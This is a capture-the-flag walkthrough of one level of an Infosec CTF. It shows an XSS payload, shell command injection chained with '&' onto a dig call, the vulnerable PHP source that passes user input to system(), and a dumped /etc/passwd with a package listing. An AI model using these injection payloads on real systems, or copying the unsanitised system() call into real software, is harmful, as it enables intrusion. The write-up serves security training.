Infosec CTF
Level 15 : infosec_flagis_rceatomized
Firstly Level 15 is vulnerable to xss :P
Type inside the box
&echo "<script>alert('Xss')</script>"
Poc:
Now lets focus on our goal !
The issue with the app is that it is vulnerable to
command injection .
Quick guide in command injection :
The ampersand character (&) is used to batch multiple commands. In this level we use & character in order to escape from the dig command and execute our own commands simultaneously.
Lets run some commands in order to "map" the attack surface.
A
good start for every attack is
&whoami command
in order for to see what is our privilege level . (many people may say run id/uid command , we can say that it is the same
read more)
 |
| No root :/ |
Lets see the directory &pwd :
Ok now we have something. Lets list the files inside the folder /levelfiften . Insert
&find to list all the files and sub directories
read this .
Hmmmmm there is a file named .hey! Lets open the file with our browser.
Now we have to decrypt the hash Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC :) .
Its was encrypted with Atom 128 See it for yourself Atom 128 Decode (The best site for decryption)
-----------------------------What i found while I was trying to solve the challenge----------------------------
Also the source of index.php script is :
|
| |
| "; |
| $cmd = ($_POST['dig']); |
| system("dig mx " . $cmd ); |
| echo "</pre>"; |
| die; |
| } |
| ?>
../etc/passwd file
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false

All the installed services
Apache2
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apt
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byobu
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cgi-bin
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cloud-init
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command-not-found
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coreutils
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dbus-1.0
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dpkg
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eject
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gcc
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girepository-1.0
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gnupg
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grub
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grub-legacy
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initramfs-tools
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insserv
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klibc
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landscape
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language-selector
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libbind9.so.90
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libbind9.so.90.0.9
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libcwidget.so.3
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libcwidget.so.3.0.0
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libdns.so.100
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libdns.so.100.2.2
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libdumbnet.la
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libdumbnet.so.1
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libdumbnet.so.1.0.1
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libeatmydata
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libgirepository-1.0.so.1
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libgirepository-1.0.so.1.0.0
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libguestlib.a
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libguestlib.so
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libguestlib.so.0
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libguestlib.so.0.0.0
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libhgfs.a
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libhgfs.so
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libhgfs.so.0
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libhgfs.so.0.0.0
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libisc.so.95
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libisc.so.95.5.0
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libisccc.so.90
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libisccc.so.90.0.6
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libisccfg.so.90
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libisccfg.so.90.1.0
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liblwres.so.90
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liblwres.so.90.0.7
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libperl.so.5.18
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libperl.so.5.18.2
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libvmtools.a
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libvmtools.so
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libvmtools.so.0
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libvmtools.so.0.0.0
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libxapian.so.22
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libxapian.so.22.6.3
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linux-boot-probes
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locale
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man-db
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mime
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mysql
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open-vm-tools
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openssh
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os-prober
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os-probes
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perl
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perl5
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php5
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pkgconfig
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pm-utils
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policykit-1
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pppd
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pt_chown
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python2.7
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python3
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python3.4
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rsyslog
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sasl2
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sftp-server
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software-properties
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ssl
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sudo
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systemd
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tar
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tasksel
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tc
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tmpfiles.d
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ubuntu-release-upgrader
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update-notifier
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upstart
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valgrind
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w3m
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x86_64-linux-gnu
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